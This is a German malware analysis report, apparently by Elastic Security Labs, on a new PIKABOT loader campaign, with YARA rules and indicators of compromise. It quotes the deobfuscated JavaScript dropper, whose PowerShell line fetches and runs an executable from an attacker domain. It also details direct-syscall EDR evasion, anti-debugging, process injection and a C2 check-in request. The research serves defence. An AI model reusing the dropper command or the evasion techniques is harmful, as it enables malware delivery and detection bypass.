Daniel StepanicSalim Bitam

PIKABOT, ich wähle dich!

Elastic Security Labs hat neue PIKABOT-Kampagnen beobachtet, darunter eine aktualisierte Version. PIKABOT ist ein weit verbreiteter Loader, den böswillige Akteure zum Verteilen zusätzlicher Nutzdaten verwenden.

21 Minuten LesezeitKampagnen
PIKABOT, ich wähle Sie!

PIKABOT auf einen Blick

PIKABOT ist ein weit verbreiteter Loader, den böswillige Akteure verwenden, um Nutzlasten wie Cobalt Strike zu verbreiten oder Ransomware zu starten. Am 8. Februar beobachtete das Team der Elastic Security Labs neue PIKABOT-Kampagnen, darunter eine aktualisierte Variante. Diese Version des PIKABOT-Loaders verwendet eine neue Entpackmethode und eine starke Verschleierung. Das Kernmodul hat eine neue Implementierung zur Entschlüsselung von Zeichenfolgen, Änderungen an der Verschleierungsfunktionalität und verschiedene andere Modifikationen hinzugefügt.

In diesem Beitrag wird die erste Kampagne vorgestellt, die neue Loader-Funktionalität aufgeschlüsselt und die Kernkomponenten überprüft. Es gibt interessante Designentscheidungen in diesem neuen Update, von denen wir glauben, dass sie der Beginn einer neuen Codebasis sind, die im Laufe der Zeit weitere Verbesserungen vornehmen wird. Obwohl die Funktionalität mit früheren Builds vergleichbar ist, haben diese neuen Updates wahrscheinlich Signaturen und vorherige Tools beschädigt.

Während der Entwicklung dieser Studie hat das ThreatLabz-Team von Zscaler großartige Analysen und Einblicke in eine Stichprobe veröffentlicht, die sich mit denen in diesem Beitrag überschneidet. Wir empfehlen, ihre Arbeit zusammen mit unserer zu lesen, um diese PIKABOT-Änderungen umfassend zu verstehen.

Wichtigste Erkenntnisse

  • Neue Kampagnen mit umfangreichen Updates für den PIKABOT-Loader und die Kernkomponenten
  • Der PIKABOT-Loader verwendet eine neue Entpacktechnik, bei der verstreute Blöcke verschlüsselter Daten im base64-Format aus .data Sektion kombiniert werden
  • Zu den Änderungen im Kern gehören eine abgeschwächte Verschleierung und Inline-RC4-Funktionen, eine Klartextkonfiguration zur Laufzeit und die Entfernung von AES während der Netzwerkkommunikation
  • Die Entwicklung von PIKABOT scheint noch in Arbeit zu sein, wobei zukünftige Updates wahrscheinlich unmittelbar bevorstehen
  • Call-Stack-Transparenz mit Elastic Security bietet die Möglichkeit, Bedrohungen wie PIKABOT schnell zu sichten

Übersicht über die PIKABOT-Kampagne

Zu Beginn des neuen Jahres blieb die PIKABOT-Distribution bis vor etwa zwei Wochen inaktiv. Bei dieser neuen Kampagne vom 8. Februar ging es um E-Mails mit Hyperlinks, die zu ZIP-Archivdateien führten, die ein bösartiges, verschleiertes Javascript-Skript enthielten.

Nachfolgend finden Sie den Inhalt der verschleierten JavaScript-Datei, die die nächste Sequenz zum Herunterladen und Ausführen des PIKABOT-Loaders mit PowerShell zeigt.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
	var obj = new ActiveXObject("WScript.Shell")
	obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

PIKABOT-Lader

Lader Stufe 1

Um authentisch zu erscheinen, hat der Entwickler ein legitimes Such- und Ersetzungstool namens grepWinNP3.exe aus diesem Repository manipuliert. Die Verwendung unseres internen Sandboxing-Projekts (Detonate) und die Nutzung der Call-Stack-Funktion von Elastic Defend lieferten eine detaillierte Nachverfolgung der Ausführung, die es uns ermöglichte, den Einstiegspunkt von bösartigem Code zu lokalisieren.

Eine Analyse der Aufrufstapeldaten zeigt, dass die Ausführung bei einem Aufruf beginnt, bevor der Offset in der bösartigen Datei 0x81aa7 . Die Ausführung springt dann bei einem Aufruf vor dem Offset 0x25d84zu einer Speicherzuweisung. Darüber hinaus wurde beobachtet, dass dem Aufrufstapel für die Prozesserstellung normale Aufrufe von KernelBase.dll!CreateProcessInternalW und ntdll.dll!NtCreateUserProcessfehlen, da ein Systemaufruf über die Shellcode-Ausführung verwendet wird, der sich im nicht gesicherten Speicher befindet. Durch die Verwendung dieser Implementierung werden Benutzermodus-Hooks auf WOW64-Modulen umgangen, um EDR-Produkte zu umgehen.

Bei der Untersuchung des Offset- 0x81aa7 der bösartigen Datei und einem direkten Code-Vergleich mit einer verifizierten, gutartigen Version der grepWinNP3.exe -Datei haben wir etwas Besonderes und Ungewöhnliches identifiziert: Eine fest codierte Adresse zum Ausführen des PIKABOT-Loaders, die den Einstiegspunkt des PIKABOT-Loaders markiert.

Der bösartige Code verwendet eine starke Verschleierung, bei der auf jede Assembleranweisung ein Sprung (JMP) folgt. Dieser Ansatz erschwert die Analyse erheblich, indem er den einfachen Ablauf der Ausführung stört.

Der Loader extrahiert seine Stage- 2 -Payload aus dem .text Abschnitt, wo er in Blöcken von 0x94 Byte gespeichert wird, bevor er die Teile konsolidiert. Anschließend wird ein scheinbar benutzerdefinierter Entschlüsselungsalgorithmus verwendet, der bitweise Operationen verwendet.

Der nächste Schritt des Prozesses besteht darin, die PE-Datei innerhalb der Grenzen des aktuell ausgeführten Prozesses reflektiert zu laden. Bei dieser Technik wird der Inhalt der PE-Datei dynamisch in den Arbeitsspeicher geladen und ausgeführt, ohne dass die Datei physisch auf den Datenträger geschrieben werden muss. Diese Methode rationalisiert nicht nur den Ausführungsprozess, indem sie die Notwendigkeit externer Dateiinteraktionen eliminiert, sondern verbessert auch die Tarnung erheblich, indem sie den digitalen Fußabdruck auf dem Host-System minimiert.

Lader Stufe 2

Der Stage- 2 Loader, der mit der Initialisierung des PIKABOT-Kerns innerhalb eines neu etablierten Prozesses beauftragt ist, verwendet eine Mischung aus Code- und String-Verschleierungstechniken, die denen des Kerns selbst ähneln. Zusätzlich zu seinen Verschleierungsfunktionen enthält der Loader eine Reihe fortschrittlicher Anti-Debugging-Gegenmaßnahmen.

Anti-Debugging

Die Malware verwendet spezifische NTDLL Zw -APIs für eine Vielzahl von Operationen, einschließlich Debugger-Erkennung, Prozesserstellung und Injektion, mit dem Ziel, unter dem Radar der Erkennungsmechanismen zu bleiben und EDR (Endpoint Detection and Response) User-Land-Hooking sowie Debugging-Versuche zu umgehen.

Es führt Systemaufrufe direkt aus und umgeht herkömmliche API-Aufrufe, die anfälliger für Überwachung und Abfangen sind. Es verwendet eine Wrapper-Funktion, die die Ausführung von Systemaufrufen im 64-Bit-Modus erleichtert, die einen Hash eines Zw API-Namens als Parameter verwendet.

Die Wrapperfunktion extrahiert die Systemaufruf-ID, indem sie die geladene NTDLL analysiert und den Hash des Zw Funktionsnamens abgleicht. Nachdem die richtige Syscall-ID gefunden wurde, wird die Wow64Transition Windows-API verwendet, um den Syscall im 64-Bit-Modus auszuführen.

Beachten Sie, dass die benötigten Parameter auf den Stapel geschoben werden, bevor der Wrapper aufgerufen wird, das folgende Beispiel zeigt einen ZwQueryInformationProcess Aufruf, bei dem der ProcessInformationClass auf ProcessDebugPort(7) gesetzt ist:

Die Malware verwendet eine Reihe von Anti-Debugging-Techniken, die entwickelt wurden, um die Erkennung durch Debugging- und forensische Tools zu vereiteln. Zu diesen Techniken gehören:

  • Aufrufen ZwQuerySystemInformation mit dem SystemKernelDebuggerInformation -Parameter, um das Vorhandensein von Kerneldebuggern zu erkennen.
  • Beim Aufrufen von ZwQueryInformationProcess die ProcessInformationClass auf ProcessDebugPort gesetzt, um alle Debugports zu identifizieren, die dem Prozess zugeordnet sind.
  • Rufen Sie ZwQueryInformationProcess erneut auf, wobei der ProcessInformationClass jedoch auf ProcessDebugFlags Parameter festgelegt ist, um festzustellen, ob der Prozess für das Debuggen gekennzeichnet wurde.
  • Überprüfen Sie den Prozessumgebungsblock (PEB) auf das Flag BeingDebugged , das angibt, ob der Prozess derzeit debuggt wird.
  • Verwenden von GetThreadContext zum Erkennen von Hardware-Breakpoints. Durchsuchen der Liste der derzeit ausgeführten Prozesse, um aktive Debugging- oder Forensik-Tools zu identifizieren.

Interessanterweise haben wir einen Fehler entdeckt, bei dem bei einigen der überprüften Prozessnamen das erste Byte auf Null gesetzt wurde, was auf einen Fehler des Autors der Malware oder einen unerwünschten Nebeneffekt hindeuten könnte, der vom Verschleierungstool hinzugefügt wurde. Die vollständige Liste der Prozessnamen, die überprüft werden, finden Sie am Ende dieses Artikels.

Ausführung

Der Loader füllt eine globale Variable mit den Adressen wichtiger APIs aus den NTDLL- und KERNEL32-Bibliotheken auf. Dieser Schritt ist für den Betrieb der Malware von entscheidender Bedeutung, da diese Adressen für die Ausführung nachfolgender Aufgaben erforderlich sind. Beachten Sie, dass der Loader einen eigenen API-Namenshashing-Algorithmus verwendet, der sich von dem unterscheidet, der zuvor für Zw APIs verwendet wurde.

Nachfolgend sehen Sie die rekonstruierte Struktur:

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Struktur des Laders

Die Malware konsolidiert dann Bytes des PIKABOT-Kerns, die im .data -Bereich verstreut sind, in base64-codierten Blöcken, was im Vergleich zu einer früheren Version, die eine Reihe von PNGs aus dem Ressourcenbereich geladen hat, bemerkenswert ist.

Es führt eine Sequenz von neun verschiedenen Funktionen aus, die jeweils ähnliche Operationen, jedoch mit unterschiedlichen Argumenten ausführen. Jede Funktion entschlüsselt einen RC4-Schlüssel mithilfe eines Inline-Prozesses, der Zeichenfolgen verwendet, die legitim erscheinen. Die Funktion dekodiert dann jeden Chunk mit Base64, bevor sie die Bytes entschlüsselt.

Nach der Konsolidierung der entschlüsselten Bytes wird die RtlDecompressBuffer -API verwendet, um sie zu dekomprimieren.

Das Ladeprogramm erstellt eine angehaltene Instanz von ctfmon.exe mithilfe des ZwCreateUserProcess syscall, einer Taktik, die entwickelt wurde, um sich als legitimer Windows-Prozess zu tarnen. Als nächstes weist es über den ZwAllocateVirtualMemory syscall einen großen Speicherbereich aus der Ferne zu, um die PE-Datei des PIKABOT-Kerns zu speichern.

Anschließend schreibt der Loader den PIKABOT-Kern mit dem ZwWriteVirtualMemory syscall in den neu belegten Speicherbereich. Anschließend leitet er den Ausführungsablauf von ctfmon.exe zum bösartigen PIKABOT-Kern um, indem er die SetContextThread API aufruft, um die Ausführungsadresse des Threads zu ändern. Schließlich wird der Thread mit ZwResumeThread syscall fortgesetzt.

PIKABOT-Kern

Das Gesamtverhalten und die Funktionalität des aktualisierten PIKABOT-Kerns ähneln denen früherer Versionen: Der Bot sammelt erste Daten vom Opfercomputer und bietet dem Bedrohungsakteur Befehls- und Kontrollzugriff, um Verhalten nach der Kompromittierung zu ermöglichen, wie z. B. Befehlszeilenausführung, Erkennung oder das Starten zusätzlicher Nutzlasten durch Injektion.

Zu den bemerkenswerten Unterschieden gehören:

  • Neue Art der Verschleierung mit weniger Inline-Funktionen
  • Mehrere Implementierungen zum Entschlüsseln von Zeichenfolgen
  • Klartextkonfiguration zur Laufzeit, Entfernung des JSON-Formats
  • Netzwerkkommunikation verwendet RC4 plus Byte-Swapping, Entfernung von AES

Verdunkelung

Einer der offensichtlichsten Unterschiede dreht sich um die Verschleierung von PIKABOT. Diese Version enthält eine drastisch weniger verschleierte Binärdatei, vermittelt aber ein vertrautes Gefühl für ältere Versionen. Statt einer Flut von Inline-RC4-Funktionen sind nach dem neuen Update nur noch wenige übrig. Leider gibt es immer noch eine große Menge an Verschleierung, die auf globale Variablen und Junk-Anweisungen angewendet wird.

Im Folgenden finden Sie ein typisches Beispiel für Junk-Code, der zwischen den eigentlichen Malware-Code eingefügt wird, nur um die Analysezeit zu verlängern und Verwirrung zu stiften.

String-Entschlüsselung

Wie bereits erwähnt, gibt es immer noch einige Inline-RC4-Funktionen, die zum Entschlüsseln von Zeichenketten verwendet werden. In früheren Versionen verwendete der Kern die Base64-Codierung als zusätzlichen Schritt in Kombination mit der Verwendung von AES und RC4, um die Zeichenfolgen zu verschleiern. In dieser Kernversion haben wir keine Base64-Codierung oder AES für die Entschlüsselung von Zeichenfolgen gesehen.

Hier sehen Sie eine Instanz einer verbleibenden Inline-RC4-Funktion, die zum Entschlüsseln des hartcodierten Mutex verwendet wird. In dieser Version setzt PIKABOT seine markentypische Verwendung von legitimen Zeichenketten als RC4-Schlüssel zur Entschlüsselung von Daten fort.

In dieser neuen Version enthält PIKABOT eine andere Implementierung für die String-Verschleierung, indem es Stack-Strings verwendet und einzelne Zeichen in einer zufälligen Reihenfolge in ein Array einfügt. Nachfolgend finden Sie ein Beispiel für die Verwendung von netapi32.dll:

Anti-Debugging

In Bezug auf das Anti-Debugging überprüft PIKABOT in dieser Version die BeingDebuggedFlag im PEB zusammen mit CheckRemoteDebuggerPresent. In unserem Beispiel wird ein hartcodierter Wert (0x2500) zurückgegeben, wenn ein Debugger angefügt ist. Diese Überprüfungen befinden sich leider nicht an einem einzigen Ort, sondern an verschiedenen Stellen in der Binärdatei, zum Beispiel kurz bevor Netzwerkanfragen gestellt werden.

Ausführung

In Bezug auf die Ausführung und das allgemeine Verhalten orientiert sich der Kern von PIKABOT eng an den Ausführungsablauf älterer Versionen. Nach der Ausführung analysiert PIKABOT das PEB und verwendet API-Hashing, um die benötigten Bibliotheken zur Laufzeit aufzulösen. Als Nächstes validiert es den Computer des Opfers, indem es die Sprachkennung mit GetUserDefaultLangIDüberprüft. Wenn die LangID auf Russisch (0x419) oder Ukrainisch (0x422) eingestellt ist, stoppt die Malware sofort ihre Ausführung.

Nach der Sprachprüfung erstellt PIKABOT einen Mutex, um eine erneute Infektion auf demselben Rechner zu verhindern. In unserem Beispiel wurde der folgende Mutex verwendet: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

Als Nächstes generiert die Malware eine UUID vom Opfercomputer unter Verwendung der Systemvolume-Nummer in Kombination mit dem Hostnamen und dem Benutzernamen. PIKABOT generiert dann einen eindeutigen RC4-Schlüssel, der von RtlRandomEx geseedet wird, und platziert den Schlüssel dann in der Konfigurationsstruktur, um ihn später während der Netzwerkkommunikation zu verwenden.

Erstkollektion

Die nächste Phase besteht darin, Informationen über den Computer des Opfers zu sammeln und die Daten in eine benutzerdefinierte Struktur zu bringen, die dann verschlüsselt und nach der ersten Check-in-Anfrage gesendet wird. Die folgenden Aktionen werden verwendet, um Fingerabdrücke zu erstellen und das Opfer und sein Netzwerk zu identifizieren:

  • Ruft den Namen des Benutzers ab, der mit dem PIKABOT-Thread verknüpft ist
  • Ruft den Computernamen ab
  • Ruft Prozessorinformationen ab
  • Erfasst Anzeigegeräteinformationen mit EnumDisplayDevicesW
  • Ruft Domänencontrollerinformationen mit DsGetDcNameW
  • Erfasst die aktuelle Auslastung des physischen und virtuellen Speichers mit GlobalMemoryStatusEx
  • Ruft die Fensterdimensionen mithilfe von GetWindowRect ab, die zum Identifizieren von Sandbox-Umgebungen verwendet werden
  • Ruft Produktinformationen des Windows-Betriebssystems mit RtlGetVersion
  • Verwendet CreateToolhelp32Snapshot zum Abrufen von Prozessinformationen

Config

Eine seltsame Entwicklungsentscheidung in dieser neuen Version betrifft die Malware-Konfiguration. Zur Laufzeit befindet sich die Konfiguration im Klartext und an einer Stelle im Speicher. Dies wird schließlich im Speicher gelöscht. Wir gehen davon aus, dass dies nur vorübergehend von Dauer sein wird, da frühere Versionen die Konfiguration geschützt haben und dies zu einer Standarderwartung geworden ist, wenn es um weit verbreitete Malware-Familien geht.

Netzwerk

PIKABOT führt die Netzwerkkommunikation über HTTPS auf nicht-traditionellen Ports (2967, 2223 usw.) mit User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)durch. Die Build-Nummer des PIKABOT-Core-Moduls ist aus der Konfiguration miteinander verkettet und wird in den verschlüsselten Netzwerkanfragen übergeben, die von uns analysierte Version ist als 1.8.32-betagekennzeichnet.

Bei dieser ersten Check-in-Anfrage an den C2-Server registriert PIKABOT den Bot und sendet die zuvor gesammelten Informationen verschlüsselt mit RC4. Der RC4-Schlüssel wird in diesem ersten Paket mit Offset (0x10) gesendet. Wie bereits erwähnt, verwendet PIKABOT kein AES mehr in seiner Netzwerkkommunikation.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

PIKABOT Erst-Check-in-Anfrage

Für jede ausgehende Netzwerkanfrage wählt PIKABOT nach dem Zufallsprinzip eine der folgenden URI's:

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

Liste der URIs, die in PIKABOT C2-Anfragen verwendet werden

Im Gegensatz zu früheren Versionen, in denen die Opferdaten in einem strukturierten Format mit JSON platziert wurden, handelt es sich bei den Daten in diesen Anfragen um Rohbytes. Die ersten 16 Bytes werden verwendet, um bestimmte Konfigurationsinformationen (Bot-Befehls-ID, Byte-Verschiebung usw.) zu übergeben. Die nächsten 32 Bytes betten den RC4-Schlüssel für die Sitzung ein, wobei dann die verschlüsselten Daten in der Anforderung verfolgt werden.

Es gibt eine zusätzliche Transformation, bei der die Entwickler eine zufällige Verschiebung von Bytes hinzugefügt haben, die zur Laufzeit erfolgt. Diese Zahl (0x18) am Offset (0xF) in der folgenden Beispielanforderung stellt die Anzahl der Bytes dar, die vom Ende der verschlüsselten Daten an den Anfang der verschlüsselten Daten verschoben werden sollen. In unserem Beispiel müssten die letzten 18 Bytes vor Bytes (0xDA 0x9E) gesetzt werden, um die Daten erfolgreich zu entschlüsseln.

Bot-Funktionalität

In Bezug auf die Kernfunktionalität des Bots ähnelt sie früheren Versionen: Ausführen von Befehlen, Durchführen von Erkennung sowie Prozessinjektionsfunktionen. Aus unserer Perspektive scheint es immer noch sehr nach einem Work in Progress zu sein. Eine Befehls-ID (0x982) ist eine leere Funktion, in einem anderen Fall gibt es drei eindeutige Befehls-IDs, die auf dieselbe Funktion verweisen. Diese deuten darauf hin, dass diese Software noch nicht ganz vollständig ist.

Befehls-IDBeschreibung
0x1FEDBeacon-Timeout
0x1A5ABeendet den PIKABOT-Prozess
0x2672Enthält Verschleierung, scheint aber nichts Sinnvolles zu tun
0x246FErstellt eine Datei auf dem Datenträger und ändert die Registrierung, die an die Konfiguration gebunden ist
0xACBBefehlszeilenausführung mit Ausgabe
0x36CPE-Injektion in einem Remote-Prozess
0x792Shellcode-Injektion in einem Remoteprozess
0x359, 0x3A6, 0x240Befehlszeilenausführung ähnlich wie 0xACB, verwendet benutzerdefinierten Fehlercode (0x1B3)
0x985Prozessaufzählung, ähnlich der anfänglichen Aufzählung der Opfersammlung
0x982Leerfunktion

Malware und MITRE ATT&CK

Elastic verwendet das MITRE ATT&CK-Framework , um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die von Advanced Persistent Threats gegen Unternehmensnetzwerke eingesetzt werden.

Taktiken

Taktiken stellen das Warum einer Technik oder Untertechnik dar. Es ist das taktische Ziel des Gegners: der Grund für die Ausführung einer Aktion.

Techniken

Techniken stellen dar, wie ein Angreifer ein taktisches Ziel erreicht, indem er eine Aktion ausführt.

Erkennung von Malware

Verhütung

YARA

Elastic Security hat YARA-Regeln erstellt, um diese Aktivität zu identifizieren. Im Folgenden finden Sie YARA-Regeln zur Identifizierung von PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Beobachtungen

Alle Observables stehen auch im ECS- und STIX-Format zum Download zur Verfügung.

Die folgenden Observablen wurden in dieser Studie diskutiert.

ObservableTypNameReferenz
2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88bSHA-256Opc.zipZip-Archiv mit verschleiertem Javascript
ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79dSHA-256grepWinNP3.exePIKABOT-Lader
139.84.237[.]229:2967IPv4-ADDRPIKABOT C2 Server
85.239.243[.]155:5000IPv4-ADDRPIKABOT C2 Server
104.129.55[.]104:2223IPv4-ADDRPIKABOT C2 Server
37.60.242[.]85:9785IPv4-ADDRPIKABOT C2 Server
95.179.191[.]137:5938IPv4-ADDRPIKABOT C2 Server
65.20.66[.]218:5938IPv4-ADDRPIKABOT C2 Server
158.220.80[.]157:9785IPv4-ADDRPIKABOT C2 Server
104.129.55[.]103:2224IPv4-ADDRPIKABOT C2 Server
158.220.80[.]167:2967IPv4-ADDRPIKABOT C2 Server
entrevientos.com[.]arDomainHosting Infra für Zip-Archiv
gloverstech[.]comDomainHosting Infra für PIKABOT Loader

Referenzen

In der obigen Studie wurde auf Folgendes Bezug genommen:

Anhang

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe